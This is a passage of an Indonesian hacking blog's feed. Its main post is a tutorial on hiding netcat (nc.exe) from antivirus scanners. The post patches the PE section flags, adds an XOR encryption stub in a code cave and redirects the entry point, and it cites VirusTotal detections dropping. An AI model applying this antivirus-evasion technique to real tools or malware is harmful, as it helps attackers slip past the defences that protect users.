&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEf0MFNPRnCNp0oXGQMa3Rl0UZIEnc39R6UyKSb9Gl15jkKEfoEmcMaB-htQH3Yx7QXr6of1EVzrp1fw69ghR24dH0aakRYj51tccPMI7IZ-tBhdamExuSf_aLMzlry3RO5gtqf0vB5J4/s1600/Capture2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;128&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEf0MFNPRnCNp0oXGQMa3Rl0UZIEnc39R6UyKSb9Gl15jkKEfoEmcMaB-htQH3Yx7QXr6of1EVzrp1fw69ghR24dH0aakRYj51tccPMI7IZ-tBhdamExuSf_aLMzlry3RO5gtqf0vB5J4/s320/Capture2.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Berikut beberapa urutan module di os yang saya gunakan (Windows 7)&lt;br /&gt;
&lt;br /&gt;
1. ntdll.dll&lt;br /&gt;
2. KERNELBASE.dll&lt;br /&gt;
3. kernel32.dll&lt;br /&gt;
4. msvcrt.dll&lt;br /&gt;
5. USP10.dll&lt;br /&gt;
6. LPK.dll&lt;br /&gt;
7. GDI32.dll&lt;br /&gt;
8. user32.dll </content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/2576829391377911963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/find-base-address-module.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2576829391377911963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2576829391377911963'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/find-base-address-module.html' title='Find Base Address Module'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEf0MFNPRnCNp0oXGQMa3Rl0UZIEnc39R6UyKSb9Gl15jkKEfoEmcMaB-htQH3Yx7QXr6of1EVzrp1fw69ghR24dH0aakRYj51tccPMI7IZ-tBhdamExuSf_aLMzlry3RO5gtqf0vB5J4/s72-c/Capture2.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-633228784049776561</id><published>2012-08-19T02:05:00.001-07:00</published><updated>2013-03-28T23:02:49.280-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hacking/cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Downfalls Antivirus Pakek Xor Encryption</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Kali ini kita coba mengakali antivirus biar ngak ndetect
lagi sama tool2 hacking kita… tool buat percobaanya saya pakek nc.exe (netcut
versi console)… sebelumnya saya upload dulu nc.exe nya ke virustotal.com buat
liat seberapa banyak antivirus yang mblokir tool ini… berikut hasilnya…&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;a href=&quot;https://www.virustotal.com/file/e49886498f746ecc0e83bfc9fe7daf9b7300f589dd9866be67cf8a1531995cc1/analysis/1345249647/&quot; target=&quot;_blank&quot;&gt;https://www.virustotal.com/file/e49886498f746ecc0e83bfc9fe7daf9b7300f589dd9866be67cf8a1531995cc1/analysis/1345249647/&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXtHpm3NwQsoXpH3puTnJuE_hV_TgKGwZ7_wwAbtD2sQhGNFkG1FBnPEt2t-J2ulb-sOZP4JT77xf6Ceq4OwadMjRAk3VTcpnf2RSNVq5CdI9tdwzDn76qyWJtNOH5w4-A0S-ok-0JrFI/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;185&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXtHpm3NwQsoXpH3puTnJuE_hV_TgKGwZ7_wwAbtD2sQhGNFkG1FBnPEt2t-J2ulb-sOZP4JT77xf6Ceq4OwadMjRAk3VTcpnf2RSNVq5CdI9tdwzDn76qyWJtNOH5w4-A0S-ok-0JrFI/s400/1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Ternyata dari 38 antivirus internasional 25 di antaranya
atau sekitar 65.78% ternyata menganggap tool ini sebagai virus… ok langsung
kita mulai saja untuk memperkecil angka ini…&lt;br /&gt;
&lt;br /&gt;
tool yang dibutuhkan…&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
1. target nc.exe&lt;br /&gt;
2. immunity debugger&lt;br /&gt;
3. LordPE (PE Editor… Download Di Sini&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href=&quot;http://www.woodmann.net/collaborative/tools/images/Bin_LordPE_2007-10-21_1.48_LordPE_1.41_Deluxe_b.zip&quot; target=&quot;_blank&quot;&gt;http://www.woodmann.net/collaborative/tools/images/Bin_LordPE_2007-10-21_1.48_LordPE_1.41_Deluxe_b.zip&lt;/a&gt;)&lt;br /&gt;
4. Sebuah otak Plus kopi susu hangat… ^_^&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Pertama2 kita edit dulu pe nya biar writable… buka LordPE&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;klik PE Editor&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;browse nc.exe&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;klik Section&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;klik kanan “.text”&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;edit section header&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;ganti flags dengan “E0000020”
agar menjadi read write and excutable… lakukan hal yang sama untuk mengganti
“.rdata” dan “data” setelah selesi klik save lalu ok&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Persiapan sudah selesai… langsung cekidot…&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Attach nc.exe di immunity debugger… buka notepad
lalu copy 3 baris intruksi awal program di notepad…&lt;br /&gt;
&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
00404AC3 &amp;gt;&amp;nbsp;&amp;nbsp; 6A
18&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PUSH 18&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
00404AC5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 68
98C04000&amp;nbsp;&amp;nbsp;&amp;nbsp; PUSH nc.0040C098&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
00404ACA&amp;nbsp;&amp;nbsp; . E8
69030000&amp;nbsp;&amp;nbsp;&amp;nbsp; CALL nc.00404E38&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Alamat yang ada tanda &amp;gt; berarti awal intruksi akan di
jalanan… yaitu “00404AC3 &amp;gt;” selanjutnya cari alamat yang kosong alias
codecave biasanya ada di paling bawah code program…&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg_B1taPrTY_IPElBsM6l1hBDYv4m7yHYFPU6_I1LCgfVlLcZAZ5A81xsc1t19mdVP0F2NHS6fUKhnJSgXRXLEYj7BC0d3NOhfWS5BzpD-Zrqy_hXiGEY_RyzfkbyhW2NRhX2piUVVLGc/s1600/2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;141&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg_B1taPrTY_IPElBsM6l1hBDYv4m7yHYFPU6_I1LCgfVlLcZAZ5A81xsc1t19mdVP0F2NHS6fUKhnJSgXRXLEYj7BC0d3NOhfWS5BzpD-Zrqy_hXiGEY_RyzfkbyhW2NRhX2piUVVLGc/s400/2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
Ayrbyte Xor Encryption&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Mov ecx,[awal enkripsi]&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Xor dword ptr ds:[ecx],13&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Inc ecx&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Cmp ecx,[akhir enkripsi]&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Jnz [alamat intruksi xor]&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
[dua intruksi awal program]&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Jmp [alamat ketiga intruksi program]&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
Hasilnya seperti berikut…&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Qw_d0nONazzVPd-dDX9Vdo8SDtxkUp0gVbAo62LZr0feHDC50rfzhtYowMAlSZhubibxhdhzmJ0EiixuuotYg5gExPewH_N40mtW9bhOFzd_6y3NDv-TedEs9JbLQFL-yHpW0NmMsRQ/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;98&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Qw_d0nONazzVPd-dDX9Vdo8SDtxkUp0gVbAo62LZr0feHDC50rfzhtYowMAlSZhubibxhdhzmJ0EiixuuotYg5gExPewH_N40mtW9bhOFzd_6y3NDv-TedEs9JbLQFL-yHpW0NmMsRQ/s400/3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Lalu kembali ke awal program klik kanan&lt;span style=&quot;font-family: Wingdings;&quot;&gt;à&lt;/span&gt;Go To&lt;span style=&quot;font-family: Wingdings;&quot;&gt;à&lt;/span&gt;Origin *&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
ganti awal program agar mengarah ke enkripsi… menggunakan perintah jmp&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjum8_LVHkseqxBudvigS3fu4JgItktIbpdS2bagKg7PUFPaxf9-bM0nuHANuBKB26fcQg-_yZbP3DGOkXWdjddHrmpelfCjlV0IvNApN84JZK4Xn4tn8qxzlNUropb0-NkMp7j4aNZEU4/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;47&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjum8_LVHkseqxBudvigS3fu4JgItktIbpdS2bagKg7PUFPaxf9-bM0nuHANuBKB26fcQg-_yZbP3DGOkXWdjddHrmpelfCjlV0IvNApN84JZK4Xn4tn8qxzlNUropb0-NkMp7j4aNZEU4/s400/1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Taruh break point di enkripsi kita di alamat &lt;br /&gt;
0040A981&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6A 18&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PUSH 18&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Setalah itu run…&amp;nbsp; kini
mulai dari alamat 00404aca sampai 0040A96C telah ter enkripsi… untuk melihatnya
klik kanan alamat ecx kemudian follow in dump&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiofabNL3H-m9VAEhF3xtEI87ZjADC7ofYRoU3UWHRIBiRxGFhDL61Q0JPkB1X-U362gsW2K8KNsEHlXL7DKdCuxhY-Jepadnmqeo__vvCUaL3pJCt8VMBxJWoHjNGnfKFAxC-zayMGuZw/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiofabNL3H-m9VAEhF3xtEI87ZjADC7ofYRoU3UWHRIBiRxGFhDL61Q0JPkB1X-U362gsW2K8KNsEHlXL7DKdCuxhY-Jepadnmqeo__vvCUaL3pJCt8VMBxJWoHjNGnfKFAxC-zayMGuZw/s320/3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Kemudian klik kanan&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;copy
to excutable&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;all
modification&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;klik
kanan-&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;copy-&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;select all&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;klik kanan&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;save file&lt;span style=&quot;font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;&quot;&gt;à&lt;/span&gt;kemudian save dengan
nama nc1.exe&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
File nc1.exe yang telah di enkripsi tadi masih bias berjalan
normal… sekarang upload kembali di virus total… &lt;br /&gt;
berikut ini hasilnya…&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;a href=&quot;https://www.virustotal.com/file/2a6485d317e3435b81b7743fc9e9ba4fa0a7333a4f72578fa9460f666b8b57e1/analysis/1345250636/&quot; target=&quot;_blank&quot;&gt;https://www.virustotal.com/file/2a6485d317e3435b81b7743fc9e9ba4fa0a7333a4f72578fa9460f666b8b57e1/analysis/1345250636/&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMnDbUYJCU58WhAuJU_pIoX_zkIfaqu95MR4-3SzPdV4xwkZrN2_zx6RirKiV27_YZdCLq76xPKgO8cRYdOUPxSZtvxa59UzITK8LrP98LZqRBGVNFdlNkLtaABsqrBjQtzd-Ny9V5Ox0/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMnDbUYJCU58WhAuJU_pIoX_zkIfaqu95MR4-3SzPdV4xwkZrN2_zx6RirKiV27_YZdCLq76xPKgO8cRYdOUPxSZtvxa59UzITK8LrP98LZqRBGVNFdlNkLtaABsqrBjQtzd-Ny9V5Ox0/s400/1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Tara… sekarang sudah jauh berkurang bukan… dari 41 antivirus
sekarang Cuma 16 atau sekitar 39.02% saja yang masih mendeteksinya sabagai
virus… tentusaja ini masih jauh lebih baik dari yang sebelum di enkripsi tadi…
^_^&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/633228784049776561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/downfalls-antivirus-pakek-xor-encryption.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/633228784049776561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/633228784049776561'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/downfalls-antivirus-pakek-xor-encryption.html' title='Downfalls Antivirus Pakek Xor Encryption'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXtHpm3NwQsoXpH3puTnJuE_hV_TgKGwZ7_wwAbtD2sQhGNFkG1FBnPEt2t-J2ulb-sOZP4JT77xf6Ceq4OwadMjRAk3VTcpnf2RSNVq5CdI9tdwzDn76qyWJtNOH5w4-A0S-ok-0JrFI/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-7122890667213308193</id><published>2012-08-19T01:44:00.005-07:00</published><updated>2012-08-28T01:01:51.795-07:00</updated><title type='text'>About Me...</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEzEE2L2kjuVHAwxVaIiFqGGevwwMPnfdujIHsCsSVhGyxppCEUkbwyUDY0NKzxZjuZlEfCteHLlevY782sc8VmNDVxm1QadwHj4R8I0P8NMVN6D7gQNbMvnStxKHJnkUkldEqtsJ6wpI/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEzEE2L2kjuVHAwxVaIiFqGGevwwMPnfdujIHsCsSVhGyxppCEUkbwyUDY0NKzxZjuZlEfCteHLlevY782sc8VmNDVxm1QadwHj4R8I0P8NMVN6D7gQNbMvnStxKHJnkUkldEqtsJ6wpI/s320/1.jpg&quot; width=&quot;174&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 2.5in; margin-right: 0in; margin-top: 0in; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: CourierNewPS-BoldMT; font-size: 12.0pt; mso-bidi-font-family: CourierNewPS-BoldMT;&quot;&gt;Nick : Ayrbyte&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 2.5in; margin-right: 0in; margin-top: 0in; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 2.5in; text-indent: -123.75pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: CourierNewPS-BoldMT; font-size: 12.0pt; mso-bidi-font-family: CourierNewPS-BoldMT;&quot;&gt;..&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Orang Ganteng Sedunia… :P ::..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 2.5in; text-indent: -123.75pt;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Contact :&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 2.5in; text-indent: -123.75pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 